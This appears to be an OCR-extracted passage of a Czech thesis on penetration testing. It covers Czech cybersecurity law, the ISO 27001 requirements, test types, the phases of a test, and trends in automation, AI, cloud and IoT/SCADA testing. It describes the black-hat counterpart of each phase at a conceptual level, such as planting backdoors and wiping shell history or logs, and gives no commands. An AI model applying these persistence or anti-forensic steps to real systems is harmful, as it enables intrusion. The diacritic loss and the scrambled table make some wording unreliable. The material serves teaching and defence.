provadéni bezpecnostnich opatreni pro zajiSténi kybernetické bezpecnosti. (26;

27). Hlavnim cilem zakona ZKB je dle NUKIB (25):

e stanovit zdkladni uroveri bezpecnostnich opatreni,

e zlepsit detekci kybernetickych bezpecnostnich incidentt,

e zavést hldseni kybernetickych bezpecnostnich incidentt,

e zavést systém opatreni k reakci na kybernetické bezpecnostni incidenty,

e upravit ¢innost dohledovych pracovist.

Osoby a organizace, kterym se dle ZKB ukladaji povinnosti v oblasti

kybernetické bezpecnosti jsou dle § 3 tohoto zakona definovany nasledovné (28):
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g)

h)

poskytovatel sluzby elektronickych komunikaci a subjekt zajistujici sit
elektronickych komunikaci, pokud neni orgdnem nebo osobou podle pismene
b),

orgdn nebo osoba zajistujici vyznamnou sit, pokud nejsou sprdvcem nebo
provozovatelem komunikacniho systému podle pismene d),

sprdvce a provozovatel informacniho systému kritické informacni
infrastruktury,

sprdvce a provozovatel komunikacniho systému kritické informacni
infrastruktury,

sprdvce a provozovatel vyznamného informacniho systému,

sprdvce a provozovatel informacniho systému zdkladni sluzby, pokud nejsou
sprdvcem nebo provozovatelem podle pismene c) nebo d),

provozovatel zdkladni sluzby, pokud neni sprdvcem nebo provozovatelem
podle pismene f),

poskytovatel digitdini sluzby.

Rozsah a obsah opatreni je stanoven Narodnim uradem pro kybernetickou

a informaéni bezpetnost (NUKIB) pomoci vyhlasky 82/2018 Sb. (VKB), ktera
nahrazuje star$i vyhlasku 316/2014 Sb. (26; 27) Tato vyhlaska dle NUKIB upravuje

(25):

obsah a strukturu bezpecnostni dokumentace,

obsah a rozsah bezpecnostnich opatreni,

typy, kategorie a hodnoceni vyznamnosti kybernetickych bezpecnostnich
incidentu,

ndleZitosti a zptisob hldsSeni kybernetického bezpecnostniho incidentu,
ndleZitosti ozndmeni o provedeni reaktivniho opatreni a jeho vysledku,

vzor ozndmeni kontaktnich tdajii a jeho formu,

zptisob likvidace dat, provoznich tidajt, informaci a jejich kopilf.

Vyhlaska VKB zpracovava smérnici NIS do Ceské legislativy. Tato vyhlaSka

dale vychazi z¥ady norem CSN/ISO/IEC 27K. (27; 25) Tyto normy predstavuji

standardizaci systému fizeni bezpecnosti (ISMS) na mezinarodni urovni.
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NejzasadnéjSimi z téchto norem je norma ISO 27001, ktera stanovuje bezpecnostni
pozadavky a dale slouZi jako zaklad pro certifikace a audity. Audit jako takovy je dle
§ 16 VKB prvkem zpétné vazby rizeni informacniho systému a smi ho provadét dle

§ 7 pouze osoba s poZadovanou odbornou kvalifikaci. (26)

Penetra¢ni testovani jako takové neni normou ISO 27001 explicitné
vyZadovano. (29) Norma vSak v bodé A.12.6.1 obecné popisuje nutnost organizace
aktivné jednat a nedovolit vyskyt technickych zranitelnosti. Tento bod je

ve standardu definovan nasledovné:

»Information about technical vulnerabilities of information systems being used
shall be obtained in a timely fashion, the organization’s exposure to such
vulnerabilities evaluated and appropriate measures taken to address the associated

risk. “(29)

Norma déle definuje nutnost bliZze nespecifikovanym zplisobem provadét

testovani bezpecnosti. Tato povinnost je uvedena v bodé A.14.2.8.
“Testing of security functionality shall be carried out during development.” (29)

Navazujici normy jako je ISO 27002 a dalSi uZ pojem ,penetracni testovani“
zminuji, ale tyto navazujici standarty jsou pouze doplnénim a upfesnénim normy
[SO 27001. Na tyto dopliiujici standarty uZ neni vydavana certifikace, a proto se

penetracni testovani obecné na zakladé ISO 27K provadét nemusi. (30)

Vyhlaska VKB je ale v tomto prisnéjsia konkrétnéjsi. Dle § 11 odst. 3 povinna
osoba na zakladé analyzy rizik rozhodne o provedeni penetracniho testovani, které
bude provedeno dle § 25 odst. 1 této vyhlasky. Tento odstavec je definovan

nasledovné (31):

e Povinnd osoba provddi penetracni testy informacniho a komunikacniho
systému se zamérenim na dilleZitd aktiva, a to:
o pred jejich uvedenim do provozu,

o vsouvislosti s vyznamnou zménou podle § 11 odst. 3.
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Jak je tedy ziejmé, legislativa v CR pifmo adresuje problematiku

kyberbezpecnosti a penetracni testovanti je toho soucasti.

Dal8i rozsSiteni legislativniho vymezeni kyberbezpecnosti je olekavano
ke konci roku 2024 (32) spoletné s implementaci nové evropské smérnice NIS2
do teské legislativy. Dle NUKIB Ceska republika bude t&%it z dosavadni legislativy,
ktera velkou radu novych povinnosti, které uklada NIS2, jiz obsahuje. Nelze tedy
ocekavat, Ze tato nova legislativa prinese zasadni zmény v porovnani s legislativou,
ktera je jiz nyni platna. Velkou zménou vsak je rozSifeni mnoZstvi subjektti, které
jsou takto regulovany z priblizné 400 na vice nez 6000. RovnéZ budou nové
do legislativy zavedeny 2 nové rezimy povinnych osob: ,important” a ,essential”.

Druha z téchto osob poté bude mit prisnéji stanové povinnosti. (33) (34) (32)

6.2 Déleni penetracnich testu

Z divodu existence riaznych pristupu k samotnym testiim, a tedy snahy zachytit
tento proces z rliznych perspektiv existuje nékolik déleni penetracnich testl. Tyto
testy je mozné délit napriklad dle umisténi penetratniho testera ¢i dle rozsahu

internich znalosti tester.

e Externi: Externi penetrani testovani predstavuje prvnim z testli podle
této metodé je simulovan utok z vnéjsku sité a pentester disponuje pouze
vefejné dostupnymi informacemi. Tester tedy musi projit pres cilovy
firewall, IDS a dal$i metody zabezpeceni. Tento druh testu se tedy vérné snazi
simulovat pozici potencidlniho utoc¢nika. (35 str. 99; 36)

e Interni: Interni penetracni testovani, jak jiZ ndzev napovida predstavuje
opak toho externiho. Pri této metodé je samotny simulovany utok veden
zevnitr sité cilové organizace, coZ ma simulovat napriklad nespokojeného
zaméstnance nebo utoc¢nika, ktery disponuje vzdalenym ptistupem do sitové
infrastruktury spole¢nosti. Cilem je provéreni bezpe¢nostnich mechanismi
slouzicich k ochrané zdrojii, dat a sluZeb pred neopravnénym piistupem.

(36)
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e Black Box: DalS$im z druhii déleni penetracnich testl je déleni dle rozsahu
internich znalosti testerl. Zakladnim druhem z tohoto pohledu je tzv ,Black
Box,test, ktery nese oznaceni podle skutecnosti, Ze tester zna pouze vstupy
a vystupy aplikace. Detaily internitho fungovani systému jsou tedy z pohledu
penetracniho testera zcela nepriihledné, tedy jako ¢erna skriiika. Jednou
zvyhod tohoto druhu testu je napriklad, Ze neni nutné, aby tester znal
pouzité programovaci jazyky za ucelem analyzy cilového kédu. Nevyhodou
je, Ze nemusi byt objeveny zranitelnosti, které vyzaduji velmi sofistikované
pristupy. Je zjevné, Ze tento druh testu se nejvice podoba skutecnému
potencialnimu redlnému kybernetickému utoku. (36; 35 str. 100; 22 str. 64)

e White Box: Prirozenym opakem penetra¢niho testu typu Black Box je
penetracni test White Box. Jak nazev napovida, tester vtomto pripadé
disponuje znalostmi architektury pocitatového systému a ma pristup
ke zdrojovym a konfigura¢nim soubortim. V piipadé penetracniho testovani
aplikaci je znac¢nou pridruzenou vyhodou tohoto pristupu, kde tester
analyzuje zdrojovy kod aplikace i nasledné doporuceni ohledné optimalizace
kodu. Touto metodou je také moZné najit vice zranitelnosti a v kratSi dobé.
(36; 35 str. 100)

e Grey Box: Logickou stredni cestou mezi témito dvéma diive popsanymi
pristupy je metoda Gray Box, ktera se snaZzi maximalné vyuzit vyhod obou
vySe popsanych pristupt. Tester pfi tomto typu testu disponuje limitovanou
znalosti ohledné interniho fungovani pocitacového systému, coz mu

umoZiuje 1épe se na utok pripravit. (36; 35 str. 100; 22 str. 64)

6.3 Obvykly postup penetra€niho testovani

PenetracCni testovani se v praxi provadi dle prisné definovanych metodik. Tyto
metodiky obsahuji sadu pravidel, postuptli a systematickych krokt, které maji byt
nasledovany za ucelem efektivniho, dtikladného a dlisledného ziskani
konzistentnich vysledkii. Nékteré z téchto metodik jsou napt. Open Source Security
Testing Methodology Manual (OSSTMM), Open Web Application Security Project
(OWASP) Testing Guide, Penetration Testing Execution Standard (PTES) a National
Institute of Standards and Technology (NIST) Special Publication 800-115. (37)
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Cilem této pod-kapitoly neni popsat obvykly postup penetratniho testovani
v presnych krocich a dle pevné urcené konkrétni metodiky ale spiSe tento postup
uvést obecnéji, tak aby byl z velké ¢asti spole¢ny pro vSechny metodiky, a tudiZ i pro

penetracni testovani jako takové.

Clanek ,Ethical Hacking and Penetration Testing using Kali and Metasploit
Framework“ (38) rozdéluje penetracni testovani do ¢tyir krokl: priizkum, ziskani
pristupu, udrzovani pristupu a uklid. Internetovy ¢lanek kyberbezpectnostni divize
firmy Prosegur ,,A Complete Guide to the Phases of Penetration Testing“ (39) uvadi
velmi podobné faze penetracniho testu. Toto rozdéleni vsak jesté dopliuje o dvé
dalSi Cisté formalni naleZzitosti ,pred-zakdzkovd interakce“ a ,analyza, reportovdni

7
1.

a preddni doporuceni“. Pro ucely této podkapitoly je vyuZito rozdéleni, které vyuziva
prvni ze zminénych ¢lankd. Toto rozdéleni je vSak po vzoru druhého zminéného
¢lanku doplnéno o nezbytné formalni kroky na zacatku a na konci samotného

penetracniho testovani.

Vzhledem ktomu, Ze penetratni testovani predstavuje simulovany
nepratelsky utok, jsou faze penetratniho testovani do urCité miry podobné
se skute¢nym Black Hat utokem. Toho je v této pod-kapitole vyuZzito a ke kazZdému
kroku penetra¢niho testovani je uveden i rozdil oproti skutecnému nepratelskému

utoku.

6.3.1 Pred-zakazkova interakce

Jedna se o Casto prehlédnutou, avSak naprosto nezbytnou fazi. Vtomto kroku
dochazi k formovani samotné zakazky a ke specifikaci poZadavki zdkaznika vcéetné
presné definovaného rozsahu testu, pod kterym budou samotni testefi operovat.
Zakaznik obvykle presné urci, co od pentesterti poZaduje jako vystup, o jaky typ
penetracniho testu se bude jednat a dale dochazi k upresnéni rizik a podepsani

smlouvy stejné jako dohody o mlcenlivosti. (39)

Pokud se nejedna o Black Hat utok, tak je tento krok nahrazen krokem, kde si
utocnik podle sebou zvolenych preferenci vybira cil. Z logiky véci v tomto pripadé

pak s danym cilem samoziejmé Zadna smlouva uzaviena nenti.
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6.3.2 Prizkum a identifikace zranitelnosti

Pfed samotnym dtokem dochézi k priizkumu a sbéru informaci. Jedné se o velmi
dilezity krok zejména pokud se jedna o skutecny Black Hat titok ¢i pokud jde o Black
Box test, pri které uto¢nik o dané organizaci ma pouze velmi omezené informace.
Soubézné s priizkumem jsou zkoumany a zjiStovany zranitelnosti. Je posuzovano,
jestli jsou tyto zranitelnosti skute¢né exploitovatelné a to jak, nejlépe je moZné tyto

zranitelnosti vyuzit. Existuji 2 druhy prizkumu. Pasivni a aktivni:

e Pasivni: Béhem pasivniho priizkumu se tester snaZi ziskat co nejvice
informaci bez toho, aniZ by s danym systém, na ktery si chysta zautocit néjak
pfimo ¢i nepfimo komunikoval. Cilem tohoto pristupu je co nejvice
napodobit potencidlniho nepiatelského uto¢nika. K priizkumu se zpravidla
vyuzivaji techniky ,Open Source INTeligence“ neboli OSINT. Tento soubor
technik spociva v ziskavani informaci z otevirenych zdroji. Prikladem mitzZe
byt napfiklad vyuziti sluzby whois pro zjiSténi vice informaci o majiteli
domény ¢i prohlédnuti socialnich siti za ucelem zmapovani personalniho
obsazeni cile (38). UZitetnym nastrojem pro ziskavani informaci v ramci
OSINT miZou byt i utility jako je naptiklad i tzv. ,OSINT Framework“, ktery
obsahuje odkazy na mnoho uZite¢nych nastrojii pro ziskavani informaci
z vefejnych zdroji. OSINT Framework miiZe také slouZit jako jakysi kontrolni
seznam pro to, co vSechno je Siroce pouZivano a na co by dany tester/uto¢nik
nemél zapomenout. (40) Tyto funkce poskytuje i fada dalsich nastroji véetné
znamého nastroje Maltego, ktery umoZiiuje automatizované vyhledavani
informaci z velkého mnoZstvi verejnych zdrojl a jejich nasledné zobrazeni
do prehledného grafu. Tento nastroj je detailnéji popsan v nasledujici
kapitole.

e Aktivni: Dals$im druhem prizkumu je prizkum aktivni. Béhem tohoto
prizkumu uto¢nik/tester uz komunikuje s cilovym systémem. Cilem je bliZe
zmapovat topologii dané sité Ci analyzovat oteviené porty. Aktivni faze
prizkumu je na rozdil od té pasivni daleko riskantnéj$i. Mapovani cizi sité
ajinda komunikace sdanou siti, kterd miZe byt povaZovana

za nestandartni/podezicelou, mliZe byt detekovana a nasledné identifikovana
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jako soucast utoku. V takovém pripadé utocnik ztraci moment piekvapeni,
ktery mu do této chvile daval zna¢nou vyhodu. (38) Klasickym nastrojem pro
aktivni priizkum je tfeba i prosté vyuZiti ICMP echo zprav svyuZitim
napriklad prikazu ping. Existuji ale i pokrocilej$i nastroje jako je Nmap, ktery
umoziuje vyuZit Sirsi Skalu technik k mapovani sité. Tento nastroj je rovnéz

detailné popsan v nasledujici kapitole.
6.3.3 Exploitace

KdyZ ma pentester zmapované a idenfitikované zranitelnosti, pfichazi na radu dalsi
z fazi, kterou je samotna exploatiace. Tester ma v této fazi za ukol zjistit, jestli jim
zamysSleny exploit ma poZadovany ucinek, jak daleko je moZné se dostat, jaké
soubory a soucasti systému mohou byt takto kompromitovany a odhadnouti za jak

dlouho a zda vilibec bude pti tomto titoku odhalen. (39; 38)

Neni dlleZité, jen jestli se systém podarilo prolomit, ale hlavné i do jaké miry.
Pokud se podari prolomit pfimo administratorsky /privilegovany ucet, tak nasledky
mohou realné byt katastrofalni. AvSak i prolomené uzivatelské ucty mohou byt
uZzitecné. Sjejich pomoci miiZe byt dale cilova sit zkoumana, a to jak z hlediska
sitové topologie, tak i z hlediska internich informaci pristupnych napf. pres sitové
disky ¢i jiné nastroje. DalS$i moZnosti je vyuziti uzivatelského uctu ke spusténi jiného
exploitu, ktery nasledné da utocnikovi k dispozici prava administratorska. Tato

technika se nazyva ,privilege escalation“ neboli eskalace privilegii. (22 str. 71)

Pentester se pri exploitaci striktné ridi hranicemi, které mu byly urceny

béhem pred-zakazkové interakce. (39)

6.3.4 Udrzovani pfistupu a uklid
Jakmile je zabezpecleni pocitatového systému uspéSné prolomeno, prichazi na fadu
udrZovani pristupu. Tato technika je zejména diileZita, pokud se jedna o Black Hat
utok. UdrZovani pristupu miiZe byt vyreSeno instalaci zadnich vratek, tedy
alternativniho pristupového bodu do systému, ktery se vyhyba bezpetnostnim
protiopatienim. (22 str. 138). Utelem udrZovani pfistupu miZe byt napiiklad

vyckavani na vhodnéjsi okamzik pro navazujici utok ¢i SpiondZz cilového systému.
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Instalace zadnich vratek do systému se miiZe jevit jako zbytecny krok, protoZe v této
fazi je jiz prokazano, Ze pristup je mozny skrze dany konkrétni exploit. Zadni vratka
vSak maji vyhodu, Ze pristup do systému bude moZny i po odstranéni korespondujici
zranitelnosti. (1 str. 114) Dalsi vyhodou miiZze byt i to, Ze opakovany pristup
do systému vyuZitim konkrétni zranitelnosti mliZze byt detekovan ¢i je prosté

nepohodlny/neprakticky.

Poté co je provedena uspésna exploitace a dal$i udrzovani pristupu do cilové
sité, je na radé uklid. V tomto kroku pentesteri typicky prekonfiguruji zpét jakykoliv
pristup, ktery pouZili k prolomeni systému, a zrusi jakékoliv nové uZivatelské ucty.
Soucasti je dale odstranéni skriptli a spoustécich ¢i prozatimnich souborii stejné

jako vraceni v§ech konfigura¢nich soubori do pivodniho stavu. (22 str. 71; 39)

Pokud jde o Black Hat ttok, miiZe faze uklidu nastat jesté v okamziku, kdy je
systému naddle udrZovan pristup. Cilem je znicit vSechny diikazy, které by mohly na
pritomnost zadnich vratek upozornit ¢i po jejich odhaleni daného tto¢nika usvédcit
(jedna se o udrZzovaci a tzv. anti-forenzni techniky). Soucasti tohoto kroku miiZe byt:
Smazani historie ptikazového Fadku ¢i vymazani nebo modifikace ptislusnych logt

(38)

6.3.5 Analyza, reportovani a predani doporuceni
Zavérecnou fazi je reportovani a predani doporuceni. Pentestefi predaji firmé
detailni zjistén{ vcetné presného popisu, jakym zptisobem bylo ¢i nebylo dosaZeno
prolomeni bezpecnosti. Jaké OSINT informace byly pri utoku vyuzity a jakym

zplisobem by méla firma, kterd si tuto sluzbu najala, zvysit své zabezpeceni. (39)

Pokud se jedna o Black Hat utok, tak tato faze pochopitelné neni treba.
Vyjimkou ale mohou byt situace, kdy se jedna napfiklad o utok na objednavku

a hacker takto prezentuje vysledky zakaznikovi.
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6.4 Aktualni metody a pfistupy v oblasti penetraéniho

testovani

Penetracni testovani jakoZto disciplina se neustale v souvislosti s technologickym
pokrokem a se se zvySujicimi naroky na kybernetickou bezpecnost vyviji. V této
podkapitole budou uvedeny aktualni metody a pristupy stejné jako nové trendy

v této oblasti.

6.4.1 Automatizace a nastroje

Jednim z klicovych posunii v oblasti penetracniho testovani je vzriistajici vyznam
automatizace celého procesu. Clanek ,Automated penetration testing: An overview"
(41) poznamenava, Ze drive bylo pro provedeni uspésného penetratniho testu
nezbytné vyuZit vysoce vzdélanych expertli s mnohaletymi zkuSenostmi v této
oblasti. Toto logicky vedlo k tomu, Ze penetracni testovani bylo velmi finantné
naro¢né a v dlisledku mensim organizacim takika nedostupné. Vyuziti automatizace
umoziiuje aktivnéjsi zapojeni lidi s daleko menSi expertizou a zasadné Setii Cas
i finan¢ni prostredky organizaci. Vysoce kvalifikovani experti jsou nadale pro
penetracni testovani zcela nezbytni. Tito experti vSak namisto provadéni samotného
penetra¢niho testovani na konkrétni organizaci vénuji svilij ¢as pravé tvorbé

automatizovanych nastroji. (41; 42)

Pravé automatizace vedla k tvorbé nastrojl jako je Metasploit Framework,
NMap, Burp Suite, které jsou bliZze uvedeny v implementa¢ni casti. Vyhody
automatizovaného testovani vSak timto zdaleka nekonc¢i. Konkrétni vyhody vyuziti

automatizovanych nastrojii autofi ¢lanku (41) shrnuji v prehledné tabulce.
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Tabulka 1 Porovnani manualniho a automatického testovani. Zdroj: (41)

Automatizované

Manualni

Testovaci proces

Rychly, standardizovany;
Testy jednoduSe
opakovatelné.

Manualni, nestandardizovany
proces; Finan¢né narocny;
Vysoké ceny prizplisoben{

zakaznikovi.

Sprava database
zranitelnosti a

Je udrzovana databaze utoki
a jsou psany aktualizované
kédy utokt pro riizné

Sprava databaze je manualni;
Nutnost spoléhat se na
verejné databaze; Nutnost

dtokil pirepsani kédi ttoku pro
platformy. fungovani na riiznych
platformach.
Dodavatel produktu vyviji
a udrzuje vSechny exploity. Vyvoj a udrzba databaze
Exploity jsou priibézZné exploitl je Casové naro¢na
aktualizovany pro dosaZeni a vyZaduje znacné odborné
. .. | maximalni ucinnosti. Exploity znalosti. Verejné exploity
Sprava a vyvoj : i o . v T4 ks
o jsou profesionalné vyvinuté, jsou podezrelé a jejich
exploith o " . Xt B T
diikladné otestované spuSténi mize byt
a bezpecné. Exploity jsou nebezpecné. Pro funk¢nost
napsany a optimalizovany napric platformami je nutné
pro rizné platformy prepsat a prenést kad.
a vektory utoku.
(ot Reporty jsou automatizované \ . v ¢ X
Reportovani porty Jsou auto ) VyZaduje ru¢ni sbér dat.
a prizplsobitelné.
. . , Tester musi ru¢né vratit zpét
Automatizované testovaci smény v svstému kazdy
Uklid produkty nabizeji feSeni pro 1y v SySte 20y
L1 pokazdé, kdyZ se najdou
uklid. . .
zranitelnosti.
e ey (o s y MiiZe vést k cetnym upravam
Modifikace sité | Systém zlistava beze zmény. .
systému.

Logovani a
auditovani

Automaticky zaznamenava
podrobné zaznamy o vSech
¢innostech.

Pomaly, téZkopadny a ¢asto
nepresny proces.

Trénovani

Trénovani pro
automatizované nastroje je

jednodu$si neZ manualni
testovani.

Testeri se musi naucit
nestandardni zplisoby
testovani; Trénovani muzZe
byt prizplisobeno a je ¢asové
narocné.
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6.4.2 Vyuziti nastroju umélé inteligence a strojového uéeni
Nastroje strojového ucCeni a umeélé inteligence zaZivaji prudky boom a sjejich
pomoci je Siroka skala ¢innosti dramaticky zefektivnéna. Kviili tomu existuje snaha
tyto metody vyuZit v maximalnim moZném mnozstvi odvétvi a u penetrac¢niho

testovani tomu nenfi jinak.

Vyuzitim strojového uceni v procesu penetracniho testovani se zabyvaji
napriklad autofi ¢lanku ,Automated Penetration Testing Using Deep Reinforcement
Learning” (43). Podobné jako v clancich (41; 42), zabyvajicich se vlivem
automatizace na penetrac¢ni testovani jsou vuvodni casti ¢lanku vyzdvihnuty
vyhody automatizace, avSak autofi zdiraziuji, Ze i prestoZe diky existenci
automatizovanych nastrojli je cely proces penetracniho testovani vyrazné
efektivnéjsi, zasah clovék je stale zcela nezbytny. V clanku tedy autofi navrhuji
vyuziti nastrojii strojového uceni pro zvysSeni efektivity penetracniho testovani
a uSetreni penéz cilové organizace. Za timto ucelem byl vytvoren model, ktery byl
trénovani na 2000 scénarich a validovan za vyuZiti dalSich 1000 scénart. Tento
model dle autorti dosahuje 86% uspésSnosti ve vybéru optimalni strategie pro
prolomeni pocitacového systému. Autofi vSak vzavéru svého Cclanku
poznamenavaji, Ze jejich model je prozatim vhodny pouze jako metoda predavani

navrhii skute¢nému penetra¢nimu testerovi. (43)

Problematika vyuziti umélé inteligence pro penetracniho testovani je
popisovana iv knize ,Intelligent Systems and Applications“ v oddilu s nazvem
»A Comprehensive Literature Review of Artificial Intelligent Practices in the Field of
Penetration Testing“ (44), ktery si vzal za cil zmapovat nedavno publikovanou
odbornou literaturu na téma vyuziti umélé inteligence pro identifikaci zranitelnosti.
Autori této reSerSe uznavaji vysokou efektivitu nastroji umélé inteligence pro
identifikaci zranitelnosti, avSak poznamenavaji, Ze naprosta vétSina analyzovanych
¢lank za Ucelem otestovani svych feSeni vyuZiva kontrolovand simulovana

prostredi a chybi jim provedeni post-exploitacnich ¢innosti. (44)

Namisto samotného penetra¢niho testovani je ale mozné vyuzit nastroje

umeélé inteligence a strojového uceni i jako detekci a ochranu proti kybernetickym
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utokiim. Klasickymi pristupy pro detekci Kybernetickych utokii je vyuZiti tzv.
JIntrusion Detection Systems (IDS)“, které funguji na principu automatizované
analyzy sitového provozu a jeho porovnavani oproti predem znamym Skodlivym
vzorim provozu. Dal$i metoda, kterou IDS ¢asto vyuZivaji, je tzv. ,behaviordIni
analyza“, ktera funguje na principu monitorovani sitového provozu a hledani

jakékoliv neobvyklé ¢innosti.

Pravé vbehavioralni analyza ma velky potencial zvysit svou efektivitu

vyuzitim metod strojového uceni a umélé inteligence. (45; 46; 47)

6.4.3 Penetracni testovani v cloudu

vvvvv

aplikace a datova ulozisté primo na misté, dnes ¢im dal vice spoletnosti ¢ast této
infrastruktury prenas$i na tzv. ,cloud“. Tedy do vzdalenych prostredi, ktera jsou
poskytovana nékterym z cloudovych poskytovateli. Vyhody pro danou firmu jsou
zfejmé. Firma je takto schopna zvysit flexibilitu a Skalovatelnost svych sluzeb stejné
jako uSetrit penéZzni prostiedky. Tento trend vSak prinaSi nové vyzvy pro

penetracni testovani. RozliSujeme 3 zakladni modely cloudovych sluzeb:

e Infrastructure as a Service (IaaS) model: Vtomto modelu zakaznik
pronajima od poskytovatele cloudovych sluzeb celou infrastrukturu tedy
hardware jako jsou servery, sitové systémy, tloZné systémy apod. Zakaznik
ma tedy pod kontrolou softwarové vybaveni vCetné operacnich systémi
azajeho spravné zabezpeceni i konfiguraci zodpovida. Z hlediska
bezpecnosti je nejcastéjsi hrozba spojena s SDN (Software Defined
Networking), coZ je novy pristup, ve kterém je i samotna pocitacova sit
programové definovana. V diisledku je tedy mozZné se setkat s ttoky na
komunikaci v ramci SDN vrstev. Dalsim dileZitym aspektem je zabezpeceni
jednotlivych virtualnich strojii; tyto stroje spolu sdili hardware, coZ miZe
predstavovat zranitelnost. DileZité je také =zabezpecit komunikaci
s virtualnimi stroji, protoZe tyto stroje jsou ¢asto rizeny a kontrolovany pres

sit internet. (48; 49)
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e Platform as a Service (PaaS) model: Dals$im modelem je PaaS. V tomto
modelu jiz zakaznik nema kontrolu nad infrastrukturou, a to vcetné
operacniho systému. Toto je zejména vyuZivano vyvojari aplikaci, kterym
tento model umoZiuje vytvaret aplikace bez nutnosti spravovat
podkladovou infrastrukturu. Z hlediska zabezpeceni je diileZité do prostiedi
spravné nasazovat aplikace. Dal$i riziko predstavuji vztahy se tretimi
stranami (napfiklad externimi dodavateli, poskytovateli API sluzeb, ...)
a skutecnost, Ze v ptipadé PaaS je vyvojaiiim softwaru dostupny privegovany
pristup do systému, coZ miiZe byt nepiatelskymi uto¢niky zneuZito. (48; 49)

e Software as a Service (SaaS) model: Poslednim modelem je SaaS. V tomto
modelu poskytovatel cloudového reSeni spravuje celou infrastrukturu, a to
vCetné operacniho systému a aplikaci koncovych uZivatelt. Vyhodou je tedy,
skutecnost, Ze na pocitac¢ich koncovych zakaznikli neni nutna jiZ Zadna
instalace software a Ze zdkaznik se tedy zajima pouze o to, jakym zplisobem
bude dany software vyuzit, ne jak bude spravovan. Zpiisoby utoku na takto
spravovany model jsou nejcastéji typu MITM (Man In The Middle) nebo
socialni inZenyrstvi. Pokud samotny SaaS vykazuje architektonické
problémy, hrozi odcizeni dat ¢i jiné problémy souvisejici s ochranou dat. (49;

50)

Za uUCelem vétsi automatizace, flexibility a Skalovatelnosti penetra¢niho
testovani v cloudovém ¢i kontejnerizovaném prostiedi existuji rizné nastroje
a frameworky. Jednim znich je tfreba Vulcan Framework, ktery slouZi pro
identifikaci zranitelnosti. Samotné penetralni testovani v prostredi cloudu je
problematické vzhledem k tomu, Ze v cloudu dany zakaznik sdili hardware, a tudiZ
existuje riziko ohroZeni nejen zakaznika, ktery si penetrac¢ni testovani objednal, ale
i jinych zakaznikd daného cloudového resSeni. Penetrani testovani na produkénim
systému miuZe také generovat opravdu velké mnoZstvi sitového provozu a tim
neumyslné celou sluzbu zablokovat. Z tohoto divodu je nutné testovat v izolovaném
prostredi. Pri tvorbé izolovaného prostredi vSak existuje riziko, Ze vSechny
zranitelnosti nebudou tispésné nalezeny a otestovany (napi z divodu mirné odlisné

konfigurace izolovaného prostredi). Tento problém je moZné feSit napf. skrze
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sluzbu Potassium navrZenou v ¢lanku: ,POTASSIUM: Penetration Testing as
a Service“. Tento ¢lanek navrhuje sluzbu PTaa$S (Penetration Testing As A Service),
ve které provozovatel cloudovych sluZeb se aktivné na penetra¢nim testovani podili
a za poplatek vytvori pomoci metod plivodné urcenych pro migrace produkénich
systémi presny klon produkéniho prostiedi, na kterém poté samotné penetracni

testovani probéhne. Dojde tak k adresaci vSech nastinénych problémi. (48; 51)

6.4.4 loT a SCADA/ICS bezpecnost

Internet véci (IoT), tedy koncept neustdle se zvétSujictho poctu mezi sebou
vzajemné propojenych zafizeni a senzorl je v dneSnim svété jasny trend. Diky
tomuto trendu je dnes moZné 1épe sbirat data pomoci mnoZstvi senzorii ¢i kamer,
na zakladé téchto dat je pak moZné optimalizovat rtizné procesy, napiiklad vyrobni.
Tento fenomén se da v prostredi firmy bliZe popsat terminy SCADA (Supervisory
Control And Data Acquisition) a ICS (Industrail Control System). Tyto systémy
funguji nepretrzité za uCelem monitorovani a ovladani kritickych vyrobnich
procesti. Autori ¢lanku ,SCADA Testbed for Vulnerability Assessments, Penetration
Testing and Incident Forensics“ poznamenavaji, Ze tyto systémy jsou navrzeny spise
s ohledem na bezpectnost provozu a na sitovou bezpec¢nost je kladen daleko mensi
zietel. Pokud je tedy takové zarizeni $Spatnym zplisobem uvedeno do provozu
existuje znacné riziko, Ze toto zafizeni je kvili jejich legacy protokoliim

a proprietarnim technologiim nachylné k napadeni. (52)

Lze tedy rici, Ze kazdé dalsi zarizeni pripojené do pocitacové sité predstavuje
riziko z divodu moZnosti existence zranitelnosti vtomto vyrobku a tim jsou

i zvySeny naroky na zabezpeceni celé pocitacové sité.

Prikladem série utoki na industrialni zarizeni je incident z roku 2022, kde tti
[ranské zavody pro zpracovani oceli &elily bliZe nespecifikovanému kybernetickému
utoku, ktery vyustil v zastaveni vyroby v tovarnach a v minimalné jednom pripadé
byl timto incidentem vyvolan i poZar. Znamena to tedy, Ze kompromitace tohoto
typu zarizeni miiZe nejen znamenat velké ekonomické ztraty v podobé zastaveni

vyroby, ale pfi nejhorSim i rizika zranéni a ztrat na Zivotech. (53)
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V pripadé nediisledného zabezpeceni pocitacové sité je moZné pomoci
jediného kompromitovaného zarizeni prolomit zabezpeceni celé pocitacové sité.
Penetracni testovani se diky tomu musi na takovéto eventuality pripravit
a pentesteii musi pii svém testovani dlisledné proveérit i zabezpeceni téchto

zalizeni.

V clanku: ,Testing loT Security: The Case Study of an IP Camera“ autofri
testovali jednu zaktualné prodavanych IP Kamer a na$li vni hned nékolik
zranitelnosti vc¢etné toho, Ze kameru je diky uhadnuti vychoziho nazvu snadno
moZné v siti najit. Daleko zasadnéjsi chybou vSak je nedostate¢né vyuziti Sifrovani

a nasledné riziko vyzrazeni citlivych dat. (54)
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7 Nastroje pro penetracni testovani

Existuje nespocetné mnoZstvi nastrojii pro penetracni testovani. (Webova stranka
https://en.kali.tools jich napftiklad ke konci roku 2023 eviduje pres 400. (55))
Utelem této kapitoly vzhledem k enormnimu mnoZstvi nastrojii pro penetraénf

testovani neni detailné popsat vSechny dostupné moZnosti, ale priblizit radu

vivs

7.1 Specialné upravené operacni systémy
Pfi vybéru ndastrojl u penetra¢niho testovani je vhodné zvazit i samotny operacni
systém, s jehoZ vyuZitim bude cely test veden. Znacna ¢ast nastrojii pro penetracni
testovani jsou primarné zamysleny pro platformu Linux, a proto je moZné vyuZit

takrka libovolnou Linuxovou distribuci dle testerovi preference.

Za ucelem usnadnéni instalace a konfigurace operatniho systému je ale
vyhodné vyuzit nékterou z rady specialnich distribuci, které byly vytvoreny presné
pro tento ucel. Tyty distribuce kromé predpripravené konfigurace obsahuji i Sirokou
$kalu predinstalovanych nastrojii pro penetrac¢ni testovani. DalS$i vyhodou
specializovanych distribuci je kromé toho i snaz$i dodate¢na instalace dal$ich
nastrojii pro penetra¢ni testovani diky tomu, Ze tyto nastroje jsou Casto dostupné
primo ze zakladniho repozitare. V pripadé béznych Linuxovych distribuci nemusi
byt instalace jednoduchd a miiZze zahrnovat pridavani dalSich repozitart Cci

stahovani nastrojli externé.

